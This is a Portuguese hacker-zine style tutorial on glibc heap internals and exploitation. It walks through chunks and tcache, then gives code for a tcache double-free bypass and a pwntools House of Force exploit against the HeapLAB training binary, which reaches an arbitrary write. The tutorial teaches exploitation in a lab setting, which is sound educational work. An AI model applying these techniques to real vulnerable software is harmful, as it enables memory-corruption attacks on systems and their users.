|=-----------------------------------------------------------------------=|
	|=-------------------------=[ Heap Exploitation ]=-----------------------=|
	|=-----------------------------------------------------------------------=|
	|=-----------------------=[    Templo7K    ]=----------------------------=|
	|=-----------------------=[ templo7k.ninja ]=----------------------------=|
	|=-----------------------------------------------------------------------=|
	|=-----------------------[   December 12, 2022  ]=-----------------------=|
	|=-----------------------------------------------------------------------=|
--[ 1 Introdução

H3ll0 b1g h4ck3r, b3 w3lc0m3 t0 my 0wn 1nf3rn0. Hoje vamos falar
sobre Heap e Heap Exploitation.


Eu pensei em muitas coisas para postar aqui, mas nenhuma tão boa
ou complexa quanto heap e heap exploitation, logo decidi falar
sobre elas hoje, então, l33t'5 g000.



$ cat heap/index.txt

--[ Table of contents

    1   Introdução

    2   O que é a Heap
        2.1        Chunks
        2.2        TCache e TCache Bin
        2.3        Tipos de heap

    3   Introdução ao Heap Exploitation
        3.1        House Of Force



--[ 2 O que é a Heap?

A heap (ou memory heap) é uma área de memória utilizada pelos
binários (Linux, Windows, FreeBSD e etc). Diferentemente da 
stack que usa o padrão LIFO (last in, first out), a Heap é uma
estrutura de dados flexível que permite o acesso rápido aos dados
armazenados, independentemente de quando eles foram alocados na memória.


Quando um binário é executado, a Heap é automaticamente criada pelo
sistema operacional, porem, enquanto o programa não precisar alocar
nada na memória, a heap não será usada, e assim impossibilitando de
visualiza-lá com o debugger ou qualquer ferramenta parecida.

pwndbg> b main
Breakpoint 1 at 0x1131
pwndbg> r
Starting program: /home/opt/main
[...]
[...]
[...]
pwndbg> vis
vis_heap_chunks: Heap is not initialized yet.


--[ 2.1 Chunks
Uma Chunk (ou memory chunk) é uma porção de memória da heap, onde vão
ser alocados todas as coisas que o binário quiser alocar. Existe a top
chunk, que é a maior memory chunk da heap, toda alocação que for feita
no programa, vai requisitar uma porção de memória dessa top chunk.

A estrutura de uma chunk é simples. A chunk consiste de metadata e a memória
retornada pelo programa.

Quando você aloca um objeto na memória, seja com o malloc, calloc ou
qualquer função do tipo, ele vai criar uma nova memory chunk com tamanho
pré-definido. Por exemplo, se eu fizer uma alocação de 8 bytes, vai ser
criada uma memory chunk de 0x20 bytes, porque é um tamanho pré definido.
Agora, se minha alocação passar de 0x20 bytes, vai vir uma memory chunk
de 0x30 bytes, e por aí vai.

Para mostrar isso, vou adicionar alguns mallocs ao meu programa:

int main(void){
    for(int i = 0; i<5;i++)
    malloc(8);

    return 0;
}
    

pwndbg> b main
Breakpoint 1 at 0x1131
pwndbg> r
Starting program: /home/opt/main
[...]
[...]
[...]
pwndbg> n (eu vou repetir isso até o primeiro malloc)
pwndbg> vis

0x555555559000	0x0000000000000000	0x0000000000000291	................
0x555555559010	0x0000000000000000	0x0000000000000000	................
0x555555559020	0x0000000000000000	0x0000000000000000	................
0x555555559030	0x0000000000000000	0x0000000000000000	................
0x555555559040	0x0000000000000000	0x0000000000000000	................
0x555555559050	0x0000000000000000	0x0000000000000000	................
0x555555559060	0x0000000000000000	0x0000000000000000	................
0x555555559070	0x0000000000000000	0x0000000000000000	................
[...]
[...]
[...]
0x555555559290	0x0000000000000000	0x0000000000000021	........!.......
0x5555555592a0	0x0000000000000000	0x0000000000000000	................
0x5555555592b0	0x0000000000000000	0x0000000000020d51	........Q.......	 <-- Top chunk

Com o primeiro malloc, foi alocado uma memory chunk, com 0x0000000000000021
de tamanho (0x20 bytes), e se eu continuar alocando memória, ele vai
continuar gerando chunks como essa.

Porém, quando você dá um free no objeto alocado, a chunk não some, ela
só vira uma free'd (ou empty) chunk e vai pra freelist da heap, que é
uma região onde ficam as chunks liberadas, para serem recicladas em
alocações futuras caso necessário.

Na GLIBC, essa é a estrutura de uma chunk: 


struct malloc_chunk {
    INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
    INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  
    struct malloc_chunk* fd;         /* double links -- used only if free. */
    struct malloc_chunk* bk;
  
    /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk* bk_nextsize;
};

Se não houver nenhuma memory chunk q foi liberada (free'd), as novas alocações
vão ficar em cima depois do ultimo chunk alocado. Se por exemplo, eu fizer 3
alocações, uma de 256, outra de 512, e por fim uma de 1024, o layout ficaria +/-
assim: 

[-------------------------------------------]
| Metadata da chunk criada pelo malloc(256) |
| 256 bytes de memoria alocados pelo malloc |
| ----------------------------------------- |
| Metadata da chunk criada pelo malloc(512) |
| 512 bytes de memoria alocados pelo malloc |
| ----------------------------------------- |
| Metadata da chunk criada pelo malloc(1024)|
| 1024 bytes de memoria alocados pelo malloc|
[-------------------------------------------]

Vamos mostrar isso com debugging...

root@templo7k:/opt# cat main.c
int main(void) {
  int* x;
  int* y;

  x = malloc(5);
  y = malloc(5);

  free(x);
  free(y);
}
root@templo7k:/opt# cc -o main main.c
root@templo7k:/opt# gdb -q main
pwndbg> b main
Breakpoint 1 at 0x1171
pwndbg> r
pwndbg> n (vou repetir esse comando até ele chegar no primeiro malloc...)
[...]
pwndbg> vis

0x555555559000	0x0000000000000000	0x0000000000000291	................
0x555555559010	0x0000000000000000	0x0000000000000000	................
0x555555559020	0x0000000000000000	0x0000000000000000	................
0x555555559030	0x0000000000000000	0x0000000000000000	................
0x555555559040	0x0000000000000000	0x0000000000000000	................
0x555555559050	0x0000000000000000	0x0000000000000000	................
0x555555559060	0x0000000000000000	0x0000000000000000	................
0x555555559070	0x0000000000000000	0x0000000000000000	................
[...]
[...]
[...]
0x555555559290	0x0000000000000000	0x0000000000000021	........!.......
0x5555555592a0	0x0000000000000000	0x0000000000000000	................
0x5555555592b0	0x0000000000000000	0x0000000000020d51	........Q.......	<-- Top chunk

Excelente! Ele criou uma chunk nova, vamos até o próximo malloc pra ver o que
ele faz...

pwndbg> vis

0x555555559000	0x0000000000000000	0x0000000000000291	................
0x555555559010	0x0000000000000000	0x0000000000000000	................
0x555555559020	0x0000000000000000	0x0000000000000000	................
0x555555559030	0x0000000000000000	0x0000000000000000	................
0x555555559040	0x0000000000000000	0x0000000000000000	................
0x555555559050	0x0000000000000000	0x0000000000000000	................
0x555555559060	0x0000000000000000	0x0000000000000000	................
0x555555559070	0x0000000000000000	0x0000000000000000	................
[...]
[...]
[...]
0x555555559290	0x0000000000000000	0x0000000000000021	........!.......
0x5555555592a0	0x0000000000000000	0x0000000000000000	................
0x5555555592b0	0x0000000000000000	0x0000000000000021	........!.......
0x5555555592c0	0x0000000000000000	0x0000000000000000	................
0x5555555592d0	0x0000000000000000	0x0000000000020d31	........1.......	<-- Top chunk

Ele criou um novo chunk em cima do outro, assim como é mostrado na estrutura.

Porém, vamos ver agora o que acontece quando damos um free e depois alocamos
outro objeto na memória.

Adicionei mais uma alocação no meu programa, e agora vamos ver o que acontece
se alocarmos logo depois de darmos um free.

pwndbg> disas
Dump of assembler code for function main:
   0x0000555555555169 <+0>:	endbr64 
   0x000055555555516d <+4>:	push   rbp
   0x000055555555516e <+5>:	mov    rbp,rsp
   0x0000555555555171 <+8>:	sub    rsp,0x20
   0x0000555555555175 <+12>:	mov    edi,0x5
   0x000055555555517a <+17>:	call   0x555555555070 
   0x000055555555517f <+22>:	mov    QWORD PTR [rbp-0x18],rax
   0x0000555555555183 <+26>:	mov    edi,0x5
   0x0000555555555188 <+31>:	call   0x555555555070 
   0x000055555555518d <+36>:	mov    QWORD PTR [rbp-0x10],rax
   0x0000555555555191 <+40>:	mov    rax,QWORD PTR [rbp-0x18]
   0x0000555555555195 <+44>:	mov    rdi,rax
   0x0000555555555198 <+47>:	call   0x555555555060 
   0x000055555555519d <+52>:	mov    rax,QWORD PTR [rbp-0x10]
   0x00005555555551a1 <+56>:	mov    rdi,rax
   0x00005555555551a4 <+59>:	call   0x555555555060 
=> 0x00005555555551a9 <+64>:	mov    edi,0x5
   0x00005555555551ae <+69>:	call   0x555555555070 
   0x00005555555551b3 <+74>:	mov    QWORD PTR [rbp-0x8],rax
   0x00005555555551b7 <+78>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00005555555551bb <+82>:	mov    rdi,rax
   0x00005555555551be <+85>:	call   0x555555555060 
   0x00005555555551c3 <+90>:	mov    eax,0x0
   0x00005555555551c8 <+95>:	leave  
   0x00005555555551c9 <+96>:	ret

O RIP, (instruction pointer) está em 0x00005555555551a9, o que é uma
instrução antes do nosso malloc, vamos dar um break no +74...

pwndbg> b *0x00005555555551b3
Breakpoint 2 at 0x5555555551b3
pwndbg> c
Continuing.
[...]
pwndbg> vis

0x555555559000	0x0000000000000000	0x0000000000000291	................
0x555555559010	0x0000000000000001	0x0000000000000000	................
0x555555559020	0x0000000000000000	0x0000000000000000	................
0x555555559030	0x0000000000000000	0x0000000000000000	................
0x555555559040	0x0000000000000000	0x0000000000000000	................
0x555555559050	0x0000000000000000	0x0000000000000000	................
0x555555559060	0x0000000000000000	0x0000000000000000	................
[...]
[...]
[...]
0x555555559290	0x0000000000000000	0x0000000000000021	........!.......
0x5555555592a0	0x0000000555555559	0xb6eeaf3096a13b82	YUUU.....;..0...	<-- tcachebins[0x20][0/1]
0x5555555592b0	0x0000000000000000	0x0000000000000021	........!.......
0x5555555592c0	0x000055500000c7f9	0x0000000000000000	....PU..........
0x5555555592d0	0x0000000000000000	0x0000000000020d31	........1.......	<-- Top chunk

Ele reutilizou de uma chunk já liberada! enquanto a outra estava com a tcachebin
na metadata, agora vou explicar o que diabos é tcache e tcachebin.


--[ 2.2 TCache
A TCache (ou Thread Local Cache) é um alocador de memória da GLIBC, o trabalho
dela é gerenciar solicitações de mem alloc. É uma otimização do alocador de
heap tradicional.

Já a TCache Bin é um cache dos chunks que foram usados pela memória alocada
pela TCache. As TCache bin's podem ser rapidamente re-utilizadas para futuras
alocações de memória (e dealocações também).

A TCache protege o binário de erros como o "Double Free", por conta dela conter
registros de todas alocações e dealocações do programa, assim permitindo ela
a saber o que foi já liberado (free'd) e o que não foi.

root@templo7k:/opt# cat main.c
int main(void){
  int* i = calloc(1, 8);
  int* a = calloc(1, 8);

  free(i);
  free(a);
  free(i);


  return 0;
}
root@templo7k:/opt# cc -o main main.c
root@templo7k:/opt# ./main
free(): double free detected in tcache 2
Aborted (core dumped)

Porém, podemos bypassar isso se ocuparmos todas as tcaches!


root@templo7k:/opt# cat main.c
int main(void){
  void* ptrs[8];
  for(int i = 0;i<8;i++)
    ptrs[i] = malloc(8);
  for(int i = 0;i<7;i++)
    free(ptrs[i]);

  int* i = calloc(1, 8);
  int* a = calloc(1, 8);
  int* x = calloc(1, 8);

  printf("I Address: %p\n", i);
  printf("A Address: %p\n", a);
  printf("X Address: %p\n", x);

  free(i);
  free(a);
  free(i);

  printf("\n\nFree'd and reallocated i and a (free'd I 2 times)\n");

  i = calloc(1, 8);
  a = calloc(1, 8);
  x = calloc(1, 8);

  printf("I Address: %p\n", i); 
  printf("A Address: %p\n", a);
  printf("X Address: %p\n", x);

  return 0;
}
root@templo7k:/opt# cc -o main main.c
ubuntu@templo7k:/opt# ./main
I Address: 0x55a5d2d4e3a0
A Address: 0x55a5d2d4e3c0
X Address: 0x55a5d2d4e3e0


Free'd and reallocated i and a (free'd I 2 times)
I Address: 0x55a5d2d4e3a0
A Address: 0x55a5d2d4e3c0
X Address: 0x55a5d2d4e3a0

Com isso, vemos que o endereço de X, que era 0x55a5d2d4e3e0, acabou virando 
o mesmo endereço de I, que é 0x55a5d2d4e3a0. Esse ataque é conhecido como
fastbin dup (ou double free), eu não vou me estender mais nesse ataque, 
não mais do já estendi.



--[ 2.3 Tipos de Heap
Existem 3 tipos principais de Heap, a Heap do sistema operacional, a heap
do usuario e a heap ds libraries.

A Heap do usuário, é a heap onde fica tudo que é alocado dinâmicamente
pelo programador, então se eu der um malloc no meu programa, aquilo
fica na heap do usuario, ou na "user heap".

A Heap da biblioteca (ou library heap), é uma área da memória alocada pelas
bibliotecas do sistema para armazenar dados que serão compartilhados por vários
programas na máquina.

A heap do Sistema Operacional é um tipo de heap que é gerenciada pelo sistema
operacional e é usada pra armazenar dados alocados pelo sistema operacional.
Por exemplo, quando o sistema operacional precisa alocar memória para um novo
processo, ele irá usar a heap do sistema operacional para alocar esse processo.



--[ Introdução ao Heap Exploitation
4g0r4 ch3g0u 4 h0r4 d4 m4ld4d3, t1r3m 45 cr14nç45 d4 s4l4 h3h3h3h3... Linux Heap
Exploitation não é nem um pouco dificil, pelo menos não tanto quanto todos imaginam
que seja. É importante ressaltar, que nesse paper, eu estarei falando somente sobre
exploração da Heap da GLIBC, então essas técnicas de exploração não se encaixam com
musl, dietlibc ou uclibc, somente com a heap da GLIBC.

Hoje, eu vou mostrar-lhes algumas técnicas de exploração, tools e um pouco de debugging
Vamos falar principalmente sobre a técnica de exploração chamada de house of force.


--[ House Of Force
House Of Force é uma técnica que consiste em exploitar a top chunk para conseguir um
ponteiro arbitrario. Infelizmente a técnica chamada de House Of Force foi patcheada
na GLIBC 2.29. Vou mostrar como o ataque House Of Force ocorre.

Essa técnica precisa de 3 condições para poder ser aplicada, são elas: 

1 - Um overflow em uma chunk que permite sobreescrever a top chunk.
2 - Uma chamada para o "malloc()" com tamanho definido pelo criador do código.
3 - Outra chamada para o "malloc()" onde a data (conteudo) pode ser manipulada pelo criador do código.

Eu irei usar como exemplo, o binário vulneravel do HeapLAB, do Max Kamper.

Ao executarmos o binário, recebemos isso como output

ubuntu@templo7k:~/HeapLAB/house_of_force$ ./house_of_force 

===============
|   HeapLAB   |  House of Force
===============

puts() @ 0x7fda2b0e4f10
heap @ 0x214d000

1) malloc 0/4
2) target
3) quit
> 

Caso dermos um malloc, e botarmos mais data do que ele aguenta, ele vai causar um
overflow e vai sobreescrever a top chunk, tudo o que queremos pra explorar um house
of force. Com base nisso, vamos codar nosso exploit!

Eu vou usar a PwnTools, pra facilitar, mas para quem queira se aprofundar, recomendo
fazer isso em C. Mas eu não vejo necessidade, então irei fazer em python com a PwnTools.

#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF("vuln")
libc = ELF(elf.runpath + b"/libc.so.6")

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

def malloc(size, data):
    io.send(b"1")
    io.sendafter(b"size: ", f"{size}".encode())
    io.sendafter(b"data: ", data)
    io.recvuntil(b"> ")

# Função delta pra calcular o offset ("distância") entre dois endereços
def delta(x, y):
    return (0xffffffffffffffff - x) + y

io = start()

# Start Address da heap
io.recvuntil(b"heap @ ")
heap = int(io.recvline(), 16)
io.recvuntil(b"> ")
io.timeout = 0.1

# PS: esse leak do endereço da heap só funciona no binário especifico
# da HeapLAB, porque ele fornece o endereço da heap.


info(f"heap: 0x{heap:02x}")
info(f"target: 0x{elf.sym.target:02x}")

malloc(24, b"Y"*24)
info(f"Delta entre heap e main(): 0x{delta(heap, elf.sym.main):02x}")

io.interactive()

Um xpl simples só pra dar overflow no nosso programa, agora vamos debuggar ele para ver
se realmente sobreescreveu a top chunk. Para isso é só rodar o exploit com o argumento 
"GDB".

pwndbg> vis

0x721000	0x0000000000000000	0x0000000000000021	........!.......
0x721010	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x721020	0x5959595959595959	0x0000000000020fe1	YYYYYYYY........ <-- Top chunk

É, ele realmente sobreescreveu a primeira chunk, primeiro objetivo concluido.

Então agora, vamos sobreescrever a top chunk. Vamos adicionar um simples
p64(0xffffffffffffffff) no nosso malloc... Pronto, vamos rodar nosso exploit

pwndbg> vis

0x603000	0x0000000000000000	0x0000000000000021	........!.......
0x603010	0x5959595959595959	0x5959595959595959	YYYYYYYYYYYYYYYY
0x603020	0x5959595959595959	0xffffffffffffffff	YYYYYYYY........ <-- Top chunk

Aeeee, conseguimos dar um overwrite na top chunk, agora vamos tentar conseguir o tão
sonhado arbitrary write.

Primeiramente, vamos calcular o offset entre a top chunk e o nosso alvo, isso vai ser
fácil pelo nosso programa leakar o endereço da heap.

Se o binário não leakasse o endereço da heap, poderiamos simplesmente usar o vmmap no 
pwndbg pra pegar o endereço da heap.

Tendo o endereço da heap "em mãos", vamos calcular o offset da top chunk e o inicio da heap. E
alocar um novo objeto com o tamanho da distancia e com a data de um simples "Y".

distance = delta(heap + 0x20, elf.sym.target - 0x20)
malloc(distance, "Y")

Feito isso, vamos rodar o exploit, entrar no GDB e dar uma olhada no surrounding do
offset target-16, que é onde está a top chunk.

pwndbg> dq target-16
0000000000602000     0000000000000000 0000000000001019
0000000000602010     0058585858585858 0000000000000000
0000000000602020     0000000000000000 0000000000000000
0000000000602030     0000000000000000 0000000000000000
pwndbg> top_chunk
PREV_INUSE
Addr: 0x602000
Size: 0x1019

Podemos ver que o tamanho da Top Chunk diminuiu MUITO, antes era o maior valor
64 bits possível, agora é só de 0x1019, isso porque alocamos o valor equivalente
a distância de uma chunk até a top chunk.

vamos ver o target no programa em sí

1) malloc 2/4
2) target
3) quit
> $ 2

target: XXXXXXX

Agora vamos fazer uma nova alocação com uma data "teste"

1) malloc 2/4
2) target
3) quit
> $ 1
size: $ 24
data: $ teste

Agora vamos dar uma olhada no target denovo...

1) malloc 3/4
2) target
3) quit
> $ 2

target: teste
X


conseguimos o tão sonhado arbitrary write. Th4t5 3n0ugh 70 pwnz 3v3ryth1n6


E aqui eu encerro esse paper.
Eu trarei uma parte 2 para esse paper algum dia, falando sobre outras técnicas, como
unlinking e house of orange.

[email protected]:/# shutdown -h now




"Vós que aqui entrais, abandonai toda a esperança."